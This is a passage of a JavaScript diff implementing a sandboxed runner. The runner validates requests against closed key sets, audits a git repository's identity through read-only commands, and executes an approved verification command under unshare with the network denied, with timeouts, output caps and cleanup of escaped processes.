'--untracked-files=all']), + capturedFreeze(['show-ref', '--head']), + capturedFreeze(['config', '--local', '--list']), + capturedFreeze(['worktree', 'list', '--porcelain']), + capturedFreeze(['rev-parse', '--absolute-git-dir']), +]); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_PROTOTYPE = Object.prototype; +const REFLECT_OWN_KEYS = Reflect.ownKeys; +const STRING = String; +const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); +const STRING_TO_LOWER_CASE = Function.prototype.call.bind(String.prototype.toLowerCase); +const STRING_STARTS_WITH = Function.prototype.call.bind(String.prototype.startsWith); +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_ALLOC = NodeBuffer.alloc.bind(NodeBuffer); +const TIMING_SAFE_EQUAL = timingSafeEqual; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const PATH_JOIN = path.join; +const PATH_RESOLVE = path.resolve; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_RELATIVE = path.relative; +const PATH_DIRNAME = path.dirname; +const OS_TMPDIR = tmpdir; +const FS_LSTAT = lstat; +const FS_MKDIR = mkdir; +const FS_REALPATH = realpath; +const FS_RM = rm; +const PROCESS_KILL = process.kill.bind(process); +const RANDOM_BYTES = randomBytes; +const NODE_SPAWN = nodeSpawn; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; + +function deny(code, path) { + fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function freezeList(values) { + const clone = []; + for (let index = 0; index < values.length; index += 1) { + ARRAY_PUSH.call(clone, values[index]); + } + return capturedFreeze(clone); +} + +function foldKey(key) { + return STRING_REPLACE(STRING_TO_LOWER_CASE(STRING(key)), /[-_ ]+/gu, ''); +} + +function ownKeysOrDeny(value, path) { + let keys; + try { + keys = REFLECT_OWN_KEYS(value); + } catch { + deny('invalid_type', path); + } + return keys; +} + +function classifyRequestKey(key) { + if (key === 'policy' || key === 'intent' || key === 'candidate') return null; + const folded = foldKey(key); + if (folded === 'policy' || folded === 'intent' || folded === 'candidate') return 'unknown_key'; + if (capturedIncludes(AUTHORITY_FOLDS, folded)) return 'authority_denied'; + if (capturedIncludes(EXECUTABLE_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(ENVIRONMENT_FOLDS, folded)) return 'executable_content_denied'; + if (capturedIncludes(NETWORK_FOLDS, folded)) return 'network_content_denied'; + if (capturedIncludes(MUTATION_FOLDS, folded)) return 'mutation_permission_denied'; + if (capturedIncludes(RESOURCE_FOLDS, folded)) return 'resource_limit_denied'; + return 'unknown_key'; +} + +function assertClosedOwnKeys(value, allowed, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!capturedIncludes(allowed, key)) deny('unknown_key', path); + } +} + +function assertRequestKeys(value, path) { + const keys = ownKeysOrDeny(value, path); + if (keys.length > MAX_POLICY_OBJECT_KEYS) deny('out_of_range', path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + const code = classifyRequestKey(key); + if (code !== null) deny(code, path); + } + for (let index = 0; index < REQUEST_REQUIRED_KEYS.length; index += 1) { + const key = REQUEST_REQUIRED_KEYS[index]; + if (!hasOwn(value, key)) deny('missing_key', `${path}.${key}`); + } +} + +function sha256Hex(bytes) { + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + HASH_UPDATE.call(hash, bytes); + return HASH_DIGEST.call(hash, 'hex'); +} + +function digestOf(label, snapshot) { + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const descriptor = identityDigestV1(label, [canonicalBytes]); + return freezeRecord(IDENTITY_RECEIPT_KEYS, { + algorithm: DIGEST_ALGORITHM, + domain: IDENTITY_DOMAIN, + version: IDENTITY_VERSION, + label, + input_bytes: canonicalBytes.length, + digest: descriptor.digest, + }); +} + +function payloadDigestOf(payload) { + return sha256Hex(BUFFER_FROM(canonicalJsonStringify(payload), 'utf8')); +} + +function equalCanonical(left, right) { + const leftBytes = BUFFER_FROM(left, 'utf8'); + const rightBytes = BUFFER_FROM(right, 'utf8'); + if (leftBytes.length !== rightBytes.length) return false; + return TIMING_SAFE_EQUAL(leftBytes, rightBytes) === true; +} + +function equalDigest(left, right) { + if (typeof left !== 'string' || typeof right !== 'string' || left.length !== right.length) { + return false; + } + return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')) === true; +} + +function cloneParameters(parameters) { + const keys = sortedCapturedKeys(parameters); + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = parameters[key]; + } + return values; +} + +function selectionFromIntent(intent) { + const selection = { command_id: intent.command_id }; + const parameters = cloneParameters(intent.parameters); + if (sortedCapturedKeys(parameters).length > 0) selection.parameters = parameters; + return selection; +} + +function looksLikeIntentSnapshot(value, path) { + if (value === undefined || value === null || typeof value !== 'object') return false; + if (capturedIsArray(value)) return false; + const keys = ownKeysOrDeny(value, path); + if (keys.length !== RECEIPT_KEYS.length) return false; + for (let index = 0; index < RECEIPT_KEYS.length; index += 1) { + if (!hasOwn(value, RECEIPT_KEYS[index])) return false; + } + return optOwn(value, 'schema') === APPROVED_VERIFICATION_COMMAND_SCHEMA_ID + && optOwn(value, 'version') === APPROVED_VERIFICATION_COMMAND_VERSION; +} + +function consumeGenuineIntent(policyInput, intentInput, path) { + if (!looksLikeIntentSnapshot(intentInput, path)) deny('intent_not_genuine', path); + let resolved; + try { + resolved = resolveApprovedVerificationCommandV1({ + policy: policyInput, + selection: selectionFromIntent(intentInput), + }); + } catch (error) { + if (error && error.name === 'RunContractV1Error' && typeof error.path === 'string' + && STRING_STARTS_WITH(error.path, 'request.policy')) { + throw error; + } + deny('intent_not_genuine', path); + } + if (!equalCanonical(canonicalJsonStringify(resolved), canonicalJsonStringify(intentInput))) { + deny('intent_not_genuine', path); + } + return resolved; +} + +function parseCandidate(input, path) { + assertPlainObject(input, 'invalid_type', path, path); + assertClosedOwnKeys(input, CANDIDATE_ALLOWED_KEYS, path); + for (let index = 0; index < CANDIDATE_REQUIRED_KEYS.length; index += 1) { + const key = CANDIDATE_REQUIRED_KEYS[index]; + if (!hasOwn(input, key)) deny('missing_key', `${path}.${key}`); + } + const repository = optOwn(input, 'repository'); + assertRepositoryPath(repository, `${path}.repository`); + if (PATH_RESOLVE(repository) !== repository) deny('invalid_format', `${path}.repository`); + let expectedHead; + let expectedBase; + if (hasOwn(input, 'expected_head_sha')) { + expectedHead = optOwn(input, 'expected_head_sha'); + assertBaseSha(expectedHead, `${path}.expected_head_sha`); + } + if (hasOwn(input, 'expected_base_sha')) { + expectedBase = optOwn(input, 'expected_base_sha'); + assertBaseSha(expectedBase, `${path}.expected_base_sha`); + } + return freezeRecord(CANDIDATE_ALLOWED_KEYS, { + repository, + expected_head_sha: expectedHead, + expected_base_sha: expectedBase, + }); +} + +function parseRequest(input, path) { + assertNotProxy(input, path); + assertPlainObject(input, 'invalid_type', path, path); + assertDirectJsonClosure(input, path); + assertRequestKeys(input, path); + const policyInput = optOwn(input, 'policy'); + const intentInput = optOwn(input, 'intent'); + assertPlainObject(policyInput, 'invalid_type', `${path}.policy`, `${path}.policy`); + assertPlainObject(intentInput, 'invalid_type', `${path}.intent`, `${path}.intent`); + const intent = consumeGenuineIntent(policyInput, intentInput, `${path}.intent`); + const candidate = parseCandidate(optOwn(input, 'candidate'), `${path}.candidate`); + if (intent.network.mode !== 'deny') deny('network_allowlist_unsupported', `${path}.intent.network`); + return { policyInput, intent, candidate }; +} + +function defaultNowMs() { + return Date.now(); +} + +function defaultRandomId() { + return RANDOM_BYTES(16).toString('hex'); +} + +function defaultTmpRoot() { + const root = PATH_RESOLVE(OS_TMPDIR()); + if (!PATH_IS_ABSOLUTE(root) || root !== PATH_RESOLVE(root)) deny('workspace_unreadable', 'workspace'); + return root; +} + +function defaultKillProcessGroup(pid, signal) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return; + try { + PROCESS_KILL(-pid, signal); + } catch { + try { + PROCESS_KILL(pid, signal); + } catch { + // ESRCH and equivalent races are inspected by listDescendants. + } + } +} + +async function defaultListDescendants(pid) { + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return freezeList([]); + let dir; + try { + dir = await readdir('/proc'); + } catch { + return freezeList([]); + } + const leftover = []; + for (let index = 0; index < dir.length; index += 1) { + const name = dir[index]; + if (!/^[0-9]+$/u.test(name)) continue; + const other = Number(name); + if (other === pid || !NUMBER_IS_SAFE_INTEGER(other)) continue; + let stat; + try { + stat = await readFile(`/proc/${other}/stat`, 'utf8'); + } catch { + continue; + } + const close = stat.indexOf(')'); + if (close < 0) continue; + const rest = stat.slice(close + 2).split(' '); + const ppid = Number(rest[1]); + const pgid = Number(rest[2]); + if (ppid === pid || pgid === pid) ARRAY_PUSH.call(leftover, other); + } + return freezeList(leftover); +} + +async function collectChildOutput(child, timeoutMs) { + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let stderrBytes = 0; + const onOut = (chunk) => { + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + ARRAY_PUSH.call(stdoutChunks, buf); + stdoutBytes += buf.length; + }; + const onErr = (chunk) => { + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + ARRAY_PUSH.call(stderrChunks, buf); + stderrBytes += buf.length; + }; + if (child.stdout && typeof child.stdout.on === 'function') child.stdout.on('data', onOut); + if (child.stderr && typeof child.stderr.on === 'function') child.stderr.on('data', onErr); + let timedOut = false; + const timer = setTimeout(() => { + timedOut = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + }, timeoutMs); + let closePromise = Promise.resolve(); + try { + const exit = await new Promise((resolve, reject) => { + child.once('error', reject); + child.once('exit', (code, signal) => resolve({ code, signal })); + }); + if (child.stdout && typeof child.stdout.end === 'function') { + closePromise = closePromise.then(() => new Promise((resolve) => { + child.stdout.once('end', resolve); + child.stdout.resume?.(); + })); + } + if (child.stderr && typeof child.stderr.end === 'function') { + closePromise = closePromise.then(() => new Promise((resolve) => { + child.stderr.once('end', resolve); + child.stderr.resume?.(); + })); + } + await Promise.race([closePromise, new Promise((resolve) => setTimeout(resolve, 25))]); + if (timedOut) deny('git_identity_unverified', 'candidate'); + if (exit.signal !== null && exit.signal !== undefined) deny('git_identity_unverified', 'candidate'); + if (exit.code !== 0 && exit.code !== 1) deny('git_identity_unverified', 'candidate'); + const stdout = BUFFER_CONCAT(stdoutChunks); + const stderr = BUFFER_CONCAT(stderrChunks); + if (stdout.length > GIT_AUDIT_MAX_BYTES || stderr.length > GIT_AUDIT_MAX_BYTES) { + deny('git_identity_unverified', 'candidate'); + } + return { code: exit.code, stdout, stderr }; + } finally { + clearTimeout(timer); + } +} + +async function defaultReadGitIdentity(repository) { + let gitStat; + try { + gitStat = await FS_LSTAT(GIT_EXECUTABLE, { bigint: true }); + } catch { + deny('git_unavailable', 'candidate'); + } + if (gitStat.isSymbolicLink() || !gitStat.isFile()) deny('git_unavailable', 'candidate'); + const env = { + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + }; + const outputs = {}; + const names = ['head', 'status', 'refs', 'config', 'worktrees', 'gitdir']; + for (let index = 0; index < GIT_AUDIT_COMMANDS.length; index += 1) { + const args = ['-C', repository, '--no-optional-locks']; + const command = GIT_AUDIT_COMMANDS[index]; + for (let argIndex = 0; argIndex < command.length; argIndex += 1) { + ARRAY_PUSH.call(args, command[argIndex]); + } + let child; + try { + child = NODE_SPAWN(GIT_EXECUTABLE, args, { + cwd: PATH_DIRNAME(repository), + env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + }); + } catch { + deny('git_identity_unverified', 'candidate'); + } + const result = await collectChildOutput(child, GIT_AUDIT_TIMEOUT_MS); + if (names[index] === 'head' && result.code !== 0) deny('git_identity_unverified', 'candidate'); + outputs[names[index]] = result.stdout.toString('utf8'); + } + const head = STRING_REPLACE(outputs.head, /\s+/gu, ''); + assertBaseSha(head, 'candidate.head_sha'); + return freezeRecord(capturedFreeze([ + 'config', 'gitdir', 'head_sha', 'refs', 'status', 'worktrees', + ]), { + head_sha: head, + status: outputs.status, + refs: outputs.refs, + config: outputs.config, + worktrees: outputs.worktrees, + gitdir: STRING_REPLACE(outputs.gitdir, /\s+$/gu, ''), + }); +} + +function defaultSpawn(file, args, options) { + if (options.shell !== false) deny('shell_content_denied', 'execution'); + if (options.networkMode !== 'deny') deny('network_allowlist_unsupported', 'execution.network'); + const confinementArgs = [ + '--user', '--pid', '--fork', '--net', '--', file, + ]; + for (let index = 0; index < args.length; index += 1) { + ARRAY_PUSH.call(confinementArgs, args[index]); + } + const spawnOptions = { + cwd: options.cwd, + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + detached: false, + }; + return NODE_SPAWN(UNSHARE_EXECUTABLE, confinementArgs, spawnOptions); +} + +async function defaultRmdirExact(record) { + await FS_RM(record.path, { recursive: true, force: false }); +} + +function defaultAdapter() { + return { + nowMs: defaultNowMs, + randomId: defaultRandomId, + tmpRoot: defaultTmpRoot, + lstat: (target, options) => FS_LSTAT(target, options ?? { bigint: true }), + mkdir: (target, options) => FS_MKDIR(target, options), + realpath: (target) => FS_REALPATH(target), + rmdirExact: defaultRmdirExact, + spawn: defaultSpawn, + killProcessGroup: defaultKillProcessGroup, + listDescendants: defaultListDescendants, + readGitIdentity: defaultReadGitIdentity, + }; +} + +function resolveAdapter(options, path) { + if (options === undefined) return defaultAdapter(); + assertNotProxy(options, path); + assertPlainObject(options, 'invalid_type', path, path); + assertClosedOwnKeys(options, OPTION_ALLOWED_KEYS, path); + if (!hasOwn(options, 'adapter')) return defaultAdapter(); + const adapter = optOwn(options, 'adapter'); + assertNotProxy(adapter, `${path}.adapter`); + if (adapter === null || typeof adapter !== 'object' || capturedIsArray(adapter)) { + deny('invalid_type', `${path}.adapter`); + } + let prototype; + try { + prototype = Object.getPrototypeOf(adapter); + } catch { + deny('exotic_prototype_denied', `${path}.adapter`); + } + if (prototype !== OBJECT_PROTOTYPE && prototype !== null) { + deny('exotic_prototype_denied', `${path}.adapter`); + } + assertClosedOwnKeys(adapter, ADAPTER_ALLOWED_KEYS, `${path}.adapter`); + const resolved = defaultAdapter(); + const keys = sortedCapturedKeys(adapter); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + const value = optOwn(adapter, key); + if (typeof value !== 'function') deny('invalid_type', `${path}.adapter.${key}`); + resolved[key] = value; + } + return resolved; +} + +function isPathInside(parent, child) { + if (parent === child) return true; + const relative = PATH_RELATIVE(parent, child); + return relative !== '' && !STRING_STARTS_WITH(relative, '..') && !PATH_IS_ABSOLUTE(relative); +} + +function encodeFsEntry(entry) { + return freezeRecord(capturedFreeze([ + 'dev', 'ino', 'mode', 'nlink', 'size', 'mtime_ns', 'ctime_ns', 'kind', + ]), { + dev: STRING(entry.dev), + ino: STRING(entry.ino), + mode: STRING(entry.mode), + nlink: STRING(entry.nlink), + size: STRING(entry.size), + mtime_ns: STRING(entry.mtimeNs), + ctime_ns: STRING(entry.ctimeNs), + kind: entry.isSymbolicLink() ? 'symlink' + : entry.isFile() ? 'file' + : entry.isDirectory() ? 'directory' + : 'special', + }); +} + +async function lstatOrDeny(adapter, target, path, code) { + let entry; + try { + entry = await adapter.lstat(target, { bigint: true }); + } catch { + deny(code, path); + } + return entry; +} + +async function assertExecutableSafe(adapter, executable) { + const entry = await lstatOrDeny(adapter, executable, 'request.intent.executable', 'executable_not_runnable'); + if (entry.isSymbolicLink()) deny('symlink_denied', 'request.intent.executable'); + if (!entry.isFile()) deny('special_file_denied', 'request.intent.executable'); + const mode = typeof entry.mode === 'bigint' ? Number(entry.mode & 0o111n) : entry.mode & 0o111; + if (mode === 0) deny('executable_not_runnable', 'request.intent.executable'); +} + +async function assertCandidateSafe(adapter, candidate) { + const entry = await lstatOrDeny( + adapter, candidate.repository, 'request.candidate.repository', 'candidate_unreadable', + ); + if (entry.isSymbolicLink()) deny('symlink_denied', 'request.candidate.repository'); + if (!entry.isDirectory()) deny('candidate_not_regular', 'request.candidate.repository'); + const gitPath = PATH_JOIN(candidate.repository, '.git'); + const gitEntry = await lstatOrDeny(adapter, gitPath, 'request.candidate.repository', 'candidate_unreadable'); + if (gitEntry.isSymbolicLink()) deny('symlink_denied', 'request.candidate.repository'); + if (!gitEntry.isDirectory() && !gitEntry.isFile()) { + deny('candidate_not_regular', 'request.candidate.repository'); + } + return { root: encodeFsEntry(entry), git: encodeFsEntry(gitEntry) }; +} + +async function snapshotCandidate(adapter, candidate, filesystem, pinExpectations) { + const git = await adapter.readGitIdentity(candidate.repository); + if (pinExpectations === true && candidate.expected_head_sha !== undefined + && !equalDigest(candidate.expected_head_sha, git.head_sha)) { + deny('candidate_identity_mismatch', 'request.candidate.expected_head_sha'); + } + const baseSha = candidate.expected_base_sha ?? git.head_sha; + if (pinExpectations === true && candidate.expected_base_sha !== undefined) { + assertBaseSha(baseSha, 'request.candidate.expected_base_sha'); + } + return freezeRecord(capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'gitdir', 'head_sha', + 'refs_digest', 'status_digest', 'worktrees_digest', + ]), { + head_sha: git.head_sha, + base_sha: baseSha, + status_digest: sha256Hex(BUFFER_FROM(git.status, 'utf8')), + refs_digest: sha256Hex(BUFFER_FROM(git.refs, 'utf8')), + config_digest: sha256Hex(BUFFER_FROM(git.config, 'utf8')), + worktrees_digest: sha256Hex(BUFFER_FROM(git.worktrees, 'utf8')), + filesystem_digest: sha256Hex(BUFFER_FROM(canonicalJsonStringify(filesystem), 'utf8')), + gitdir: git.gitdir, + }); +} + +function assertUnchanged(before, after) { + const fields = [ + 'head_sha', 'base_sha', 'status_digest', 'refs_digest', 'config_digest', + 'worktrees_digest', 'filesystem_digest', 'gitdir', + ]; + for (let index = 0; index < fields.length; index += 1) { + const field = fields[index]; + if (!equalDigest(STRING(before[field]), STRING(after[field]))) { + deny(field === 'filesystem_digest' || field === 'head_sha' ? 'candidate_mutated' : 'candidate_race', + 'candidate'); + } + } +} + +function buildChildEnvironment(environment) { + const env = {}; + const entries = environment.entries; + for (let index = 0; index < entries.length; index += 1) { + const entry = entries[index]; + const name = entry.name; + if (capturedIncludes(DENIED_ENV_NAMES, name) || name === 'PATH') { + deny('env_name_denied', 'request.intent.environment'); + } + env[name] = entry.value; + } + return env; +} + +async function createWorkspace(adapter, candidate) { + const root = adapter.tmpRoot(); + if (typeof root !== 'string' || !PATH_IS_ABSOLUTE(root) || PATH_RESOLVE(root) !== root) { + deny('workspace_unreadable', 'workspace'); + } + const rootEntry = await lstatOrDeny(adapter, root, 'workspace', 'workspace_unreadable'); + if (rootEntry.isSymbolicLink() || !rootEntry.isDirectory()) deny('symlink_denied', 'workspace'); + const id = adapter.randomId(); + if (typeof id !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, id)) { + deny('workspace_unreadable', 'workspace'); + } + const workspacePath = PATH_JOIN(root, `${WORKSPACE_NAME_PREFIX}${id}`); + if (PATH_RESOLVE(workspacePath) !== workspacePath) deny('workspace_unreadable', 'workspace'); + if (isPathInside(candidate.repository, workspacePath) + || isPathInside(workspacePath, candidate.repository) + || workspacePath === root || workspacePath === '/' || workspacePath === candidate.repository) { + deny('workspace_overlap_denied', 'workspace'); + } + try { + await adapter.mkdir(workspacePath, { recursive: false, mode: WORKSPACE_MODE }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const entry = await lstatOrDeny(adapter, workspacePath, 'workspace', 'workspace_unreadable'); + if (entry.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (!entry.isDirectory()) deny('special_file_denied', 'workspace'); + let resolved; + try { + resolved = await adapter.realpath(workspacePath); + } catch { + deny('workspace_unreadable', 'workspace'); + } + if (resolved !== workspacePath) deny('symlink_denied', 'workspace'); + return capturedFreeze({ + path: workspacePath, + root, + dev: entry.dev, + ino: entry.ino, + mode: entry.mode, + }); +} + +function assertExactWorkspace(record, entry, resolved) { + if (record.path === '/' || record.path === record.root) deny('cleanup_uncertain', 'cleanup'); + if (!isPathInside(record.root, record.path) || record.path === record.root) { + deny('cleanup_uncertain', 'cleanup'); + } + if (PATH_RELATIVE(record.root, record.path).includes('..')) deny('cleanup_uncertain', 'cleanup'); + if (entry.isSymbolicLink() || !entry.isDirectory()) deny('cleanup_uncertain', 'cleanup'); + if (entry.dev !== record.dev || entry.ino !== record.ino) deny('cleanup_uncertain', 'cleanup'); + if (resolved !== record.path) deny('cleanup_uncertain', 'cleanup'); +} + +async function removeExactWorkspace(adapter, record) { + if (record === undefined || typeof record.path !== 'string' || !PATH_IS_ABSOLUTE(record.path)) { + deny('cleanup_uncertain', 'cleanup'); + } + if (PATH_RESOLVE(record.path) !== record.path) deny('cleanup_uncertain', 'cleanup'); + const entry = await lstatOrDeny(adapter, record.path, 'cleanup', 'cleanup_uncertain'); + let resolved; + try { + resolved = await adapter.realpath(record.path); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + assertExactWorkspace(record, entry, resolved); + try { + await adapter.rmdirExact(record); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'cleanup'); + } +} + +function waitStreamEnded(stream) { + if (!stream || typeof stream.once !== 'function') return Promise.resolve(); + if (stream.readableEnded === true) return Promise.resolve(); + return new Promise((resolve) => { + let settled = false; + const done = () => { + if (settled) return; + settled = true; + resolve(); + }; + stream.once('end', done); + stream.once('close', done); + stream.once('error', done); + if (typeof stream.resume === 'function') stream.resume(); + }); +} + +function attachCappedStream(stream, maxBytes, onFlood) { + const chunks = []; + let size = 0; + let truncated = false; + const handle = (chunk) => { + if (truncated) return; + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + const room = maxBytes - size; + if (buf.length > room) { + if (room > 0) ARRAY_PUSH.call(chunks, buf.subarray(0, room)); + size = maxBytes; + truncated = true; + onFlood(); + return; + } + ARRAY_PUSH.call(chunks, buf); + size += buf.length; + }; + if (stream && typeof stream.on === 'function') stream.on('data', handle); + return { + bytes: () => size, + truncated: () => truncated, + digest: () => sha256Hex(size === 0 ? BUFFER_ALLOC(0) : BUFFER_CONCAT(chunks)), + }; +} + +async function runApprovedOnce(adapter, intent, cwd, env, markSpawned) { + if (intent.timeout_ms < KILL_GRACE_MS) deny('out_of_range', 'request.intent.timeout_ms'); + const argv = []; + for (let index = 0; index < intent.argv.length; index += 1) { + ARRAY_PUSH.call(argv, intent.argv[index]); + } + markSpawned(); + let child; + try { + child = adapter.spawn(intent.executable, argv, { + cwd, + env, + shell: false, + networkMode: 'deny', + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + detached: false, + }); + } catch { + deny('resource_bound_unavailable', 'execution'); + } + if (!child || typeof child.on !== 'function') deny('resource_bound_unavailable', 'execution'); + let flooded = false; + let timedOut = false; + let killGrace; + const stdoutCap = attachCappedStream(child.stdout, intent.resources.max_output_bytes, () => { + flooded = true; + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + }); + const stderrCap = attachCappedStream(child.stderr, intent.resources.max_error_bytes, () => { + flooded = true; + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + }); + const timer = setTimeout(() => { + timedOut = true; + try { adapter.killProcessGroup(child.pid, 'SIGTERM'); } catch { /* already dead */ } + killGrace = setTimeout(() => { + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { /* already dead */ } + }, KILL_GRACE_MS); + }, intent.timeout_ms); + let exit; + let stuckTimer; + try { + exit = await new Promise((resolve, reject) => { + let settled = false; + const finish = (value) => { + if (settled) return; + settled = true; + resolve(value); + }; + child.once('error', reject); + child.once('exit', (code, signal) => finish({ code, signal })); + stuckTimer = setTimeout(() => { + timedOut = true; + finish({ code: null, signal: null, stuck: true }); + }, intent.timeout_ms + KILL_GRACE_MS + STUCK_GRACE_MS); + }); + await Promise.race([ + Promise.all([waitStreamEnded(child.stdout), waitStreamEnded(child.stderr)]), + new Promise((resolve) => setTimeout(resolve, STUCK_GRACE_MS)), + ]); + } catch { + deny('resource_bound_unavailable', 'execution'); + } finally { + clearTimeout(timer); + if (killGrace !== undefined) clearTimeout(killGrace); + if (stuckTimer !== undefined) clearTimeout(stuckTimer); + } + const leftovers = await adapter.listDescendants(child.pid); + if (capturedIsArray(leftovers) && leftovers.length > 0) { + for (let index = 0; index < leftovers.length; index += 1) { + try { adapter.killProcessGroup(leftovers[index], 'SIGKILL'); } catch { /* best effort */ } + } + const still = await adapter.listDescendants(child.pid); + if (capturedIsArray(still) && still.length > 0) deny('escaped_descendants', 'execution'); + deny('escaped_descendants', 'execution'); + } + if (flooded || stdoutCap.truncated() || stderrCap.truncated()) deny('output_flood', 'execution'); + if (timedOut) deny('timeout', 'execution'); + const code = exit.code; + const signal = exit.signal; + const hasCode = code !== null && code !== undefined; + const hasSignal = signal !== null && signal !== undefined; + if (hasCode === hasSignal) deny('signal_ambiguous', 'execution'); + if (hasSignal) deny('signal_ambiguous', 'execution'); + if (typeof code !== 'number' || !NUMBER_IS_SAFE_INTEGER(code) || code < 0 || code > 255) { + deny('signal_ambiguous', 'execution'); + } + return { + exit_code: code, + signal: null, + stdout_bytes: stdoutCap.bytes(), + stderr_bytes: stderrCap.bytes(), + stdout_digest: stdoutCap.digest(), + stderr_digest: stderrCap.digest(), + stdout_truncated: false, + stderr_truncated: false, + }; +} + +function requireEnum(allowed, value, path) { + if (!capturedIncludes(allowed, value)) deny('invalid_format', path); + return value; +} + +function resultForExit(code) { + return requireEnum(REPORTED_RESULTS, code === 0 ? 'pass' : 'fail', 'outcome.result'); +} + +function freezeAcceptanceObservation(intent, run, durationMs) { + const payload = freezeRecord(capturedFreeze(['command_id', 'result']), { + command_id: intent.command_id, + result: resultForExit(run.exit_code), + }); + const outputDigest = sha256Hex(BUFFER_FROM(`${run.stdout_digest}:${run.stderr_digest}`, 'utf8')); + return freezeRecord(ACCEPTANCE_OBSERVATION_KEYS, { + fact_kind: requireEnum(FACT_KINDS, 'acceptance_results', 'facts.acceptance.fact_kind'), + status: requireEnum(FACT_STATUSES, 'verified', 'facts.acceptance.status'), + code: requireEnum(FACT_CODES, 'host_observed', 'facts.acceptance.code'), + subject: intent.command_id, + authority: requireEnum(FACT_AUTHORITIES, 'platform_acceptance_runner', 'facts.acceptance.authority'), + method: requireEnum(FACT_METHODS, 'approved_command_execution', 'facts.acceptance.method'), + input_digest: intent.plan_identity.digest, + output_digest: outputDigest, + exit_code: run.exit_code, + duration_ms: durationMs, + truncated: false, + payload, + payload_digest: payloadDigestOf(payload), + }); +} + +function freezeGitObservation(snapshot, durationMs, inputDigest) { + const payload = freezeRecord(capturedFreeze(['base_sha', 'head_sha']), { + base_sha: snapshot.base_sha, + head_sha: snapshot.head_sha, + }); + return freezeRecord(GIT_OBSERVATION_KEYS, { + fact_kind: requireEnum(FACT_KINDS, 'git_identity', 'facts.git_identity.fact_kind'), + status: requireEnum(FACT_STATUSES, 'verified', 'facts.git_identity.status'), + code: requireEnum(FACT_CODES, 'host_observed', 'facts.git_identity.code'), + subject: 'repository', + authority: requireEnum(FACT_AUTHORITIES, 'platform_git', 'facts.git_identity.authority'), + method: requireEnum(FACT_METHODS, 'read_only_no_changes', 'facts.git_identity.method'), + input_digest: inputDigest, + output_digest: snapshot.filesystem_digest, + exit_code: null, + duration_ms: durationMs, + truncated: false, + payload, + payload_digest: payloadDigestOf(payload), + }); +} + +function cloneObservation(observation, keys) { + const payloadKeys = sortedCapturedKeys(observation.payload); + const payloadValues = {}; + for (let index = 0; index < payloadKeys.length; index += 1) { + const key = payloadKeys[index]; + payloadValues[key] = observation.payload[key]; + } + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = key === 'payload' ? freezeRecord(payloadKeys, payloadValues) : observation[key]; + } + return freezeRecord(keys, values); +} + +function freezeFacts(acceptance, git) { + return freezeList([ + cloneObservation(acceptance, ACCEPTANCE_OBSERVATION_KEYS), + cloneObservation(git, GIT_OBSERVATION_KEYS), + ]); +} + +function freezeOutcome(run, durationMs) { + return freezeRecord(OUTCOME_KEYS, { + result: resultForExit(run.exit_code), + exit_code: run.exit_code, + signal: null, + termination: 'exited', + duration_ms: durationMs, + stdout_bytes: run.stdout_bytes, + stderr_bytes: run.stderr_bytes, + stdout_digest: run.stdout_digest, + stderr_digest: run.stderr_digest, + stdout_truncated: false, + stderr_truncated: false, + }); +} + +function 